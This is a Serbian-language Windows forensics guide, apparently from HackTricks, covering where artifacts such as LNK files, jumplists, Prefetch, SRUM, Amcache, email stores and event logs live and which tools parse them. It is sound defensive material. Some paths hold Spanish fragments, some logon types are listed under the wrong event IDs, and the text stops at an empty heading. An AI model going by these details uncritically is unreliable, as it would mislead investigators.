|
|
||||||
|
## **Rezervne kopije fajlova**
|
||||||
|
|
||||||
|
### Korpa za smeće
|
||||||
|
|
||||||
|
U Vista/Win7/Win8/Win10 operativnim sistemima, **Korpa za smeće** se može pronaći u folderu **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\
|
||||||
|
Kada se fajl obriše u ovom folderu, kreiraju se 2 specifična fajla:
|
||||||
|
|
||||||
|
* `$I{id}`: Informacije o fajlu (datum kada je obrisan}
|
||||||
|
* `$R{id}`: Sadržaj fajla
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (486).png>)
|
||||||
|
|
||||||
|
Koristeći ove fajlove, možete koristiti alat [**Rifiuti**](https://github.com/abelcheung/rifiuti2) da biste dobili originalnu adresu obrisanih fajlova i datum kada su obrisani (koristite `rifiuti-vista.exe` za Vista – Win10).
|
||||||
|
|
||||||
|
```
|
||||||
|
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||||
|
```
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
### Kopije senki volumena
|
||||||
|
|
||||||
|
Shadow Copy je tehnologija koja je uključena u Microsoft Windows i može kreirati **rezervne kopije** ili snimke fajlova ili volumena računara, čak i kada su u upotrebi.
|
||||||
|
|
||||||
|
Ove rezervne kopije se obično nalaze u `\System Volume Information` od korena fajl sistema, a ime je sastavljeno od **UID-ova** prikazanih na sledećoj slici:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (520).png>)
|
||||||
|
|
||||||
|
Montiranjem forenzičke slike sa **ArsenalImageMounter**-om, alatka [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) se može koristiti za pregledanje kopije senke i čak **izvlačenje fajlova** iz rezervnih kopija senke.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (521).png>)
|
||||||
|
|
||||||
|
Unos registra `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži fajlove i ključeve **koji se neće rezervisati**:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (522).png>)
|
||||||
|
|
||||||
|
Registar `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` takođe sadrži informacije o konfiguraciji `Volume Shadow Copies`.
|
||||||
|
|
||||||
|
### Office automatski sačuvani fajlovi
|
||||||
|
|
||||||
|
Office automatski sačuvava fajlove na sledećoj lokaciji: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||||
|
|
||||||
|
## Shell stavke
|
||||||
|
|
||||||
|
Shell stavka je stavka koja sadrži informacije o tome kako pristupiti drugom fajlu.
|
||||||
|
|
||||||
|
### Nedavni dokumenti (LNK)
|
||||||
|
|
||||||
|
Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koristi ili kreira fajl** u:
|
||||||
|
|
||||||
|
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||||
|
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||||
|
|
||||||
|
Kada se kreira folder, takođe se kreira veza do foldera, roditeljskog foldera i pradedovskog foldera.
|
||||||
|
|
||||||
|
Ove automatski kreirane link fajlove **sadrže informacije o poreklu** kao da li je to **fajl** **ili** folder, **MAC** **vremena** tog fajla, **informacije o volumenu** gde je fajl smešten i **folder ciljnog fajla**. Ove informacije mogu biti korisne za oporavak tih fajlova u slučaju da su uklonjeni.
|
||||||
|
|
||||||
|
Takođe, **datum kreiranja linka** fajla je prvo **vreme** kada je originalni fajl **prvi put** **korišćen**, a **datum** **izmene** link fajla je **poslednje** **vreme** kada je origin fajl korišćen.
|
||||||
|
|
||||||
|
Za pregledanje ovih fajlova možete koristiti [**LinkParser**](http://4discovery.com/our-tools/).
|
||||||
|
|
||||||
|
U ovoj alatki ćete naći **2 seta** vremenskih oznaka:
|
||||||
|
|
||||||
|
* **Prvi set:**
|
||||||
|
|
||||||
|
1. FileModifiedDate
|
||||||
|
2. FileAccessDate
|
||||||
|
3. FileCreationDate
|
||||||
|
|
||||||
|
* **Drugi set:**
|
||||||
|
|
||||||
|
1. LinkModifiedDate
|
||||||
|
2. LinkAccessDate
|
||||||
|
3. LinkCreationDate.
|
||||||
|
|
||||||
|
Prvi set vremenskih oznaka se odnosi na **vremenske oznake samog fajla**. Drugi set se odnosi na **vremenske oznake povezanog fajla**.
|
||||||
|
|
||||||
|
Možete dobiti iste informacije pokretanjem Windows CLI alatke: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||||
|
|
||||||
|
```
|
||||||
|
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||||
|
```
|
||||||
|
|
||||||
|
U ovom slučaju, informacije će biti sačuvane unutar CSV datoteke.
|
||||||
|
|
||||||
|
### Jumpliste
|
||||||
|
|
||||||
|
Ovo su nedavne datoteke koje su označene po aplikacijama. To je lista **nedavnih datoteka koje je koristila aplikacija** kojoj možete pristupiti u svakoj aplikaciji. Mogu se **automatski kreirati ili biti prilagođene**.
|
||||||
|
|
||||||
|
Automatski kreirane **jumpliste** se čuvaju u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumpliste su nazvane prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije.
|
||||||
|
|
||||||
|
Prilagođene jumpliste se čuvaju u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih aplikacija kreira jer se nešto **važno** desilo sa datotekom (možda je označena kao omiljena).
|
||||||
|
|
||||||
|
Vreme kreiranja bilo koje jumpliste pokazuje **prvi put kada je datoteka pristupljena** i vreme izmene poslednji put.
|
||||||
|
|
||||||
|
Jumpliste možete pregledati koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (474).png>)
|
||||||
|
|
||||||
|
(_Napomena: Vremenske oznake koje pruža JumplistExplorer odnose se na samu jumplist datoteku_)
|
||||||
|
|
||||||
|
### Shellbags
|
||||||
|
|
||||||
|
[**Pratite ovaj link da biste saznali šta su shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||||
|
|
||||||
|
## Korišćenje Windows USB uređaja
|
||||||
|
|
||||||
|
Moguće je identifikovati da je USB uređaj korišćen zahvaljujući kreiranju:
|
||||||
|
|
||||||
|
* Windows Recent Folder
|
||||||
|
* Microsoft Office Recent Folder
|
||||||
|
* Jumpliste
|
||||||
|
|
||||||
|
Imajte na umu da neki LNK fajl umesto da pokazuje na originalnu putanju, pokazuje na WPDNSE folder:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (476).png>)
|
||||||
|
|
||||||
|
Datoteke u folderu WPDNSE su kopija originalnih datoteka, pa neće preživeti restart računara, a GUID se uzima iz shellbaga.
|
||||||
|
|
||||||
|
### Informacije iz registra
|
||||||
|
|
||||||
|
[Proverite ovu stranicu da biste saznali](interesting-windows-registry-keys.md#usb-information) koje registarske ključeve sadrže zanimljive informacije o povezanim USB uređajima.
|
||||||
|
|
||||||
|
### setupapi
|
||||||
|
|
||||||
|
Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da biste dobili vremenske oznake kada je USB veza uspostavljena (pretražite `Section start`).
|
||||||
|
|
||||||
|
![](https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png)
|
||||||
|
|
||||||
|
### USB Detective
|
||||||
|
|
||||||
|
[**USBDetective**](https://usbdetective.com) se može koristiti za dobijanje informacija o USB uređajima koji su bili povezani sa slikom.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (483).png>)
|
||||||
|
|
||||||
|
### Čišćenje Plug and Play
|
||||||
|
|
||||||
|
Zakazani zadatak poznat kao 'Plug and Play Cleanup' je pretežno dizajniran za uklanjanje zastarelih verzija drajvera. Suprotno od navedene svrhe zadržavanja najnovije verzije paketa drajvera, online izvori sugerišu da takođe cilja drajvere koji su bili neaktivni tokom 30 dana. Kao rezultat toga, drajveri za prenosive uređaje koji nisu bili povezani u poslednjih 30 dana mogu biti podložni brisanju.
|
||||||
|
|
||||||
|
Zadatak se nalazi na sledećoj putanji: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||||
|
|
||||||
|
Prikazan je snimak ekrana sadržaja zadatka: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||||
|
|
||||||
|
**Ključni komponenti i podešavanja zadatka:**
|
||||||
|
|
||||||
|
* **pnpclean.dll**: Ova DLL je odgovorna za sam proces čišćenja.
|
||||||
|
* **UseUnifiedSchedulingEngine**: Postavljeno na `TRUE`, što ukazuje na korišćenje generičkog mehanizma zakazivanja zadataka.
|
||||||
|
* **MaintenanceSettings**:
|
||||||
|
* **Period ('P1M')**: Usmerava Task Scheduler da pokrene zadatak čišćenja mesečno tokom redovnog automatskog održavanja.
|
||||||
|
* **Deadline ('P2M')**: Nalaže Task Scheduleru, ako zadatak ne uspe dva uzastopna meseca, da izvrši zadatak tokom hitnog automatskog održavanja.
|
||||||
|
|
||||||
|
Ova konfiguracija obezbeđuje redovno održavanje i čišćenje drajvera, uz mogućnost ponovnog pokušaja izvršavanja zadatka u slučaju uzastopnih neuspeha.
|
||||||
|
|
||||||
|
**Za više informacija pogledajte:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||||
|
|
||||||
|
## Emailovi
|
||||||
|
|
||||||
|
Emailovi sadrže **2 zanimljiva dela: zaglavlja i sadržaj** emaila. U **zaglavljima** možete pronaći informacije kao što su:
|
||||||
|
|
||||||
|
* **Ko** je poslao email (adresa e-pošte, IP adresa, poštanski serveri koji su preusmerili email)
|
||||||
|
* **Kada** je email poslat
|
||||||
|
|
||||||
|
Takođe, u zaglavljima `References` i `In-Reply-To` možete pronaći ID poruka:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (484).png>)
|
||||||
|
|
||||||
|
### Windows Mail aplikacija
|
||||||
|
|
||||||
|
Ova aplikacija čuva emailove u HTML ili tekstualnom formatu. Emailovi se mogu pronaći unutar podfoldera unutar `\Users\<korisničko_ime>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa ekstenzijom `.dat`.
|
||||||
|
|
||||||
|
**Metapodaci** emailova i **kontakti** mogu se pronaći unutar **EDB baze podataka**: `\Users\<korisničko_ime>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||||
|
|
||||||
|
**Promenite ekstenziju** datoteke iz `.vol` u `.edb` i možete koristiti alatku [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) da je otvorite. U tabeli `Message` možete videti emailove.
|
||||||
|
|
||||||
|
### Microsoft Outlook
|
||||||
|
|
||||||
|
Kada se koriste Exchange serveri ili Outlook klijenti, postojaće neka MAPI zaglavlja:
|
||||||
|
|
||||||
|
* `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat
|
||||||
|
* `Mapi-Conversation-Index`: Broj dečijih poruka u niti i vremenska oznaka svake poruke u niti
|
||||||
|
* `Mapi-Entry-ID`: Identifikator poruke.
|
||||||
|
* `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nepročitana? odgovorena? preusmerena? van kancelarije?)
|
||||||
|
|
||||||
|
U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru se čuvaju u PST datoteci na sledećoj putanji:
|
||||||
|
|
||||||
|
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||||
|
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||||
|
|
||||||
|
Putanja registra `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` ukazuje na korišćenu datoteku.
|
||||||
|
|
||||||
|
PST datoteku možete otvoriti koristeći alatku [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (485).png>)
|
||||||
|
|
||||||
|
### Microsoft Outlook OST fajlovi
|
||||||
|
|
||||||
|
**OST fajl** se generiše od strane Microsoft Outlook-a kada je konfigurisan sa **IMAP** ili **Exchange** serverom, čuvajući slične informacije kao PST fajl. Ovaj fajl je sinhronizovan sa serverom i čuva podatke za **poslednjih 12 meseci** do **maksimalne veličine od 50GB**, i nalazi se u istom direktorijumu kao i PST fajl. Za pregled OST fajla, može se koristiti [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||||
|
|
||||||
|
### Dobijanje priloga
|
||||||
|
|
||||||
|
Izgubljeni prilozi mogu biti povraćeni sa:
|
||||||
|
|
||||||
|
* Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||||
|
* Za **IE11 i novije**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||||
|
|
||||||
|
### Thunderbird MBOX fajlovi
|
||||||
|
|
||||||
|
**Thunderbird** koristi **MBOX fajlove** za čuvanje podataka, smeštene na lokaciji `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||||
|
|
||||||
|
### Sličice slika
|
||||||
|
|
||||||
|
* **Windows XP i 8-8.1**: Pregledanje foldera sa sličicama generiše `thumbs.db` fajl koji čuva prikaze slika, čak i nakon brisanja.
|
||||||
|
* **Windows 7/10**: `thumbs.db` se kreira prilikom pristupa preko mreže putem UNC putanje.
|
||||||
|
* **Windows Vista i novije**: Sličice slika su centralizovane u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa fajlovima nazvanim **thumbcache\_xxx.db**. Alati [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) se koriste za pregledanje ovih fajlova.
|
||||||
|
|
||||||
|
### Informacije iz Windows registra
|
||||||
|
|
||||||
|
Windows registar, koji čuva obimne podatke o aktivnostima sistema i korisnika, nalazi se u fajlovima:
|
||||||
|
|
||||||
|
* `%windir%\System32\Config` za različite `HKEY_LOCAL_MACHINE` podključeve.
|
||||||
|
* `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`.
|
||||||
|
* Windows Vista i novije verzije čuvaju rezervne kopije `HKEY_LOCAL_MACHINE` registarskih fajlova u `%Windir%\System32\Config\RegBack\`.
|
||||||
|
* Dodatno, informacije o izvršavanju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server verzija nadalje.
|
||||||
|
|
||||||
|
### Alati
|
||||||
|
|
||||||
|
Neki alati su korisni za analizu registarskih fajlova:
|
||||||
|
|
||||||
|
* **Registry Editor**: Instaliran je u Windows-u. To je grafički interfejs za navigaciju kroz Windows registar trenutne sesije.
|
||||||
|
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava učitavanje registarskog fajla i navigaciju kroz njega pomoću grafičkog interfejsa. Takođe sadrži obeleživače koji ističu ključeve sa interesantnim informacijama.
|
||||||
|
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ima grafički interfejs koji omogućava navigaciju kroz učitani registar i takođe sadrži dodatke koji ističu interesantne informacije unutar učitanog registra.
|
||||||
|
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna aplikacija sa grafičkim interfejsom koja je sposobna da izvuče važne informacije iz učitanog registra.
|
||||||
|
|
||||||
|
### Povraćaj obrisanih elemenata
|
||||||
|
|
||||||
|
Kada se ključ obriše, označava se kao takav, ali se neće ukloniti sve dok prostor koji zauzima ne bude potreban. Stoga, korišćenjem alata kao što je **Registry Explorer** moguće je povratiti ove obrisane ključeve.
|
||||||
|
|
||||||
|
### Vreme poslednje izmene
|
||||||
|
|
||||||
|
Svaki ključ-vrednost sadrži **vremensku oznaku** koja pokazuje kada je poslednji put izmenjen.
|
||||||
|
|
||||||
|
### SAM
|
||||||
|
|
||||||
|
Fajl/hive **SAM** sadrži heševe **korisnika, grupa i lozinki korisnika** sistema.
|
||||||
|
|
||||||
|
U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspeli pokušaj prijave, brojač prijava, politiku lozinke i kada je nalog kreiran. Da biste dobili **heševe**, takođe **trebate** fajl/hive **SYSTEM**.
|
||||||
|
|
||||||
|
### Interesantni unosi u Windows registru
|
||||||
|
|
||||||
|
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||||
|
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Izvršeni programi
|
||||||
|
|
||||||
|
### Osnovni Windows procesi
|
||||||
|
|
||||||
|
U [ovom postu](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) možete saznati o uobičajenim Windows procesima kako biste otkrili sumnjive ponašanja.
|
||||||
|
|
||||||
|
### Nedavni Windows programi
|
||||||
|
|
||||||
|
Unutar registra `NTUSER.DAT` na putanji `Software\Microsoft\Current Version\Search\RecentApps` možete pronaći podključeve sa informacijama o **izvršenim aplikacijama**, **poslednjem vremenu** izvršavanja i **broju puta** koliko su pokrenute.
|
||||||
|
|
||||||
|
### BAM (Background Activity Moderator)
|
||||||
|
|
||||||
|
Možete otvoriti fajl `SYSTEM` sa registarskim editorom i unutar putanje `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama izvršenim od strane svakog korisnika** (obratite pažnju na `{SID}` u putanji) i **vremenu** kada su izvršene (vreme se nalazi unutar vrednosti podataka registra).
|
||||||
|
|
||||||
|
### Windows Prefetch
|
||||||
|
|
||||||
|
Prefetching je tehnika koja omogućava računaru da tiho **preuzme neophodne resurse potrebne za prikaz sadržaja** kojem korisnik **može pristupiti u bliskoj budućnosti**, kako bi se resursi mogli brže pristupiti.
|
||||||
|
|
||||||
|
Windows prefetch se sastoji od kreiranja **keševa izvršenih programa** kako bi se mogli brže učitati. Ovi keševi se kreiraju kao `.pf` fajlovi unutar putanje: `C:\Windows\Prefetch`. Postoji ograničenje od 128 fajlova u XP/VISTA/WIN7 i 1024 fajla u Win8/Win10.
|
||||||
|
|
||||||
|
Naziv fajla se kreira kao `{ime_programa}-{hash}.pf` (hash se bazira na putanji i argumentima izvršnog fajla). U W10 su ovi fajlovi kompresovani. Imajte na umu da samo prisustvo fajla ukazuje da je **program izvršen** u nekom trenutku.
|
||||||
|
|
||||||
|
Fajl `C:\Windows\Prefetch\Layout.ini` sadrži **nazive foldera fajlova koji su prefetch-ovani**. Ovaj fajl sadrži **informacije o broju izvršavanja**, **datumima** izvršavanja i **fajlovima** **otvorenim** od strane programa.
|
||||||
|
|
||||||
|
Za pregledanje ovih fajlova možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||||
|
```
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (487).png>)
|
||||||
|
|
||||||
|
### Superprefetch
|
||||||
|
|
||||||
|
**Superprefetch** ima isti cilj kao i prefetch, **brže učitavanje programa** predviđanjem šta će se sledeće učitati. Međutim, ne zamenjuje prefetch servis.\
|
||||||
|
Ovaj servis generiše bazu podataka u `C:\Windows\Prefetch\Ag*.db`.
|
||||||
|
|
||||||
|
U ovim bazama podataka možete pronaći **ime** **programa**, **broj** **izvršavanja**, **otvorene** **datoteke**, **pristupane** **particije**, **kompletan** **putanja**, **vremenski okviri** i **vremenske oznake**.
|
||||||
|
|
||||||
|
Ove informacije možete pristupiti pomoću alata [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||||
|
|
||||||
|
### SRUM
|
||||||
|
|
||||||
|
**System Resource Usage Monitor** (SRUM) **prati** **resurse** **koje proces koristi**. Pojavio se u W8 i podatke čuva u ESE bazi podataka smeštenoj u `C:\Windows\System32\sru\SRUDB.dat`.
|
||||||
|
|
||||||
|
Daje sledeće informacije:
|
||||||
|
|
||||||
|
* AppID i putanja
|
||||||
|
* Korisnik koji je izvršio proces
|
||||||
|
* Poslati bajtovi
|
||||||
|
* Primljeni bajtovi
|
||||||
|
* Mrežni interfejs
|
||||||
|
* Trajanje veze
|
||||||
|
* Trajanje procesa
|
||||||
|
|
||||||
|
Ove informacije se ažuriraju svakih 60 minuta.
|
||||||
|
|
||||||
|
Možete dobiti podatke iz ovog fajla koristeći alat [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||||
|
```
|
||||||
|
|
||||||
|
### AppCompatCache (ShimCache)
|
||||||
|
|
||||||
|
**AppCompatCache**, poznat i kao **ShimCache**, čini deo **Baze podataka o kompatibilnosti aplikacija** koju je razvio **Microsoft** kako bi rešio probleme sa kompatibilnošću aplikacija. Ovaj sistemski komponent beleži različite metapodatke datoteka, koji uključuju:
|
||||||
|
|
||||||
|
* Puni put do datoteke
|
||||||
|
* Veličinu datoteke
|
||||||
|
* Vreme poslednje izmene pod **$Standard\_Information** (SI)
|
||||||
|
* Vreme poslednjeg ažuriranja ShimCache-a
|
||||||
|
* Zastavicu izvršenja procesa
|
||||||
|
|
||||||
|
Takvi podaci se čuvaju u registru na određenim lokacijama, u zavisnosti od verzije operativnog sistema:
|
||||||
|
|
||||||
|
* Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom od 96 unosa.
|
||||||
|
* Za Server 2003, kao i za verzije Windowsa 2008, 2012, 2016, 7, 8 i 10, putanja za čuvanje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512, odnosno 1024 unosa.
|
||||||
|
|
||||||
|
Za analizu čuvanih informacija preporučuje se korišćenje alata [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (488).png>)
|
||||||
|
|
||||||
|
### Amcache
|
||||||
|
|
||||||
|
Datoteka **Amcache.hve** je suštinski registarski hive koji beleži detalje o aplikacijama koje su izvršene na sistemu. Obično se nalazi na putanji `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||||
|
|
||||||
|
Ova datoteka je značajna jer čuva zapise o nedavno izvršenim procesima, uključujući putanje do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu.
|
||||||
|
|
||||||
|
Za izdvajanje i analizu podataka iz **Amcache.hve** datoteke može se koristiti alat [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Sledeća komanda je primer kako koristiti AmcacheParser za analizu sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||||
|
```
|
||||||
|
|
||||||
|
Među generisanim CSV datotekama, posebno je značajna datoteka `Amcache_Unassociated file entries` zbog bogatih informacija koje pruža o nepovezanim unosima datoteka.
|
||||||
|
|
||||||
|
Najinteresantnija generisana CSV datoteka je `Amcache_Unassociated file entries`.
|
||||||
|
|
||||||
|
### RecentFileCache
|
||||||
|
|
||||||
|
Ovaj artefakt se može pronaći samo u W7 u `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i sadrži informacije o nedavnom izvršavanju određenih binarnih datoteka.
|
||||||
|
|
||||||
|
Možete koristiti alat [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) za parsiranje datoteke.
|
||||||
|
|
||||||
|
### Zakazani zadaci
|
||||||
|
|
||||||
|
Možete ih izvući iz `C:\Windows\Tasks` ili `C:\Windows\System32\Tasks` i čitati ih kao XML.
|
||||||
|
|
||||||
|
### Servisi
|
||||||
|
|
||||||
|
Možete ih pronaći u registru pod `SYSTEM\ControlSet001\Services`. Možete videti šta će biti izvršeno i kada.
|
||||||
|
|
||||||
|
### **Windows Store**
|
||||||
|
|
||||||
|
Instalirane aplikacije mogu se pronaći u `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||||
|
Ovaj repozitorijum ima **log** sa **svakom instaliranom aplikacijom** u sistemu unutar baze podataka **`StateRepository-Machine.srd`**.
|
||||||
|
|
||||||
|
Unutar tabele Application ove baze podataka, mogu se pronaći kolone: "Application ID", "PackageNumber" i "Display Name". Ove kolone sadrže informacije o preinstaliranim i instaliranim aplikacijama, a može se utvrditi da li su neke aplikacije deinstalirane jer bi ID-jevi instaliranih aplikacija trebali biti uzastopni.
|
||||||
|
|
||||||
|
Takođe je moguće **pronaći instalirane aplikacije** unutar putanje registra: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||||
|
I **deinstalirane aplikacije** u: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||||
|
|
||||||
|
## Windows događaji
|
||||||
|
|
||||||
|
Informacije koje se pojavljuju unutar Windows događaja su:
|
||||||
|
|
||||||
|
* Šta se desilo
|
||||||
|
* Vremenska oznaka (UTC + 0)
|
||||||
|
* Uključeni korisnici
|
||||||
|
* Uključeni hostovi (ime računara, IP adresa)
|
||||||
|
* Pristupani resursi (datoteke, folderi, štampači, servisi)
|
||||||
|
|
||||||
|
Logovi se nalaze u `C:\Windows\System32\config` pre Windows Viste i u `C:\Windows\System32\winevt\Logs` posle Windows Viste. Pre Windows Viste, logovi događaja su bili u binarnom formatu, a posle toga su u **XML formatu** i koriste **.evtx** ekstenziju.
|
||||||
|
|
||||||
|
Lokacija datoteka događaja može se pronaći u registru sistema u **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||||
|
|
||||||
|
Mogu se vizualizovati putem Windows Event Viewer-a (**`eventvwr.msc`**) ili drugim alatima poput [**Event Log Explorer**](https://eventlogxp.com) **ili** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||||
|
|
||||||
|
## Razumevanje beleženja događaja o bezbednosti u Windows-u
|
||||||
|
|
||||||
|
Pristupni događaji se beleže u konfiguracionoj datoteci bezbednosti koja se nalazi na lokaciji `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je podesiva, a kada se dostigne kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijavljivanje i odjavljivanje korisnika, korisničke radnje i promene u postavkama bezbednosti, kao i pristupanje datotekama, folderima i deljenim resursima.
|
||||||
|
|
||||||
|
### Ključni ID-jevi događaja za autentifikaciju korisnika:
|
||||||
|
|
||||||
|
* **EventID 4624**: Ukazuje na uspešnu autentifikaciju korisnika.
|
||||||
|
* **EventID 4625**: Označava neuspešnu autentifikaciju.
|
||||||
|
* **EventID 4634/4647**: Predstavljaju događaje odjavljivanja korisnika.
|
||||||
|
* **EventID 4672**: Označava prijavljivanje sa administratorskim privilegijama.
|
||||||
|
|
||||||
|
#### Podtipovi unutar EventID 4634/4647:
|
||||||
|
|
||||||
|
* **Interactive (2)**: Direktno prijavljivanje korisnika.
|
||||||
|
* **Network (3)**: Pristup deljenim fasciklama.
|
||||||
|
* **Batch (4)**: Izvršavanje batch procesa.
|
||||||
|
* **Service (5)**: Pokretanje servisa.
|
||||||
|
* **Proxy (6)**: Proksi autentifikacija.
|
||||||
|
* **Unlock (7)**: Otključavanje ekrana lozinkom.
|
||||||
|
* **Network Cleartext (8)**: Prenos lozinke u čistom tekstu, često od strane IIS-a.
|
||||||
|
* **New Credentials (9)**: Korišćenje drugih akreditiva za pristup.
|
||||||
|
* **Remote Interactive (10)**: Prijavljivanje putem udaljenog radnog okruženja ili terminalnih usluga.
|
||||||
|
* **Cache Interactive (11)**: Prijavljivanje sa keširanim akreditivima bez kontakta sa kontrolerom domena.
|
||||||
|
* **Cache Remote Interactive (12)**: Udaljeno prijavljivanje sa keširanim akreditivima.
|
||||||
|
* **Cached Unlock (13)**: Otključavanje sa keširanim akreditivima.
|
||||||
|
|
||||||
|
#### Statusni i podstatusni kodovi za EventID 4625:
|
||||||
|
|
||||||
|
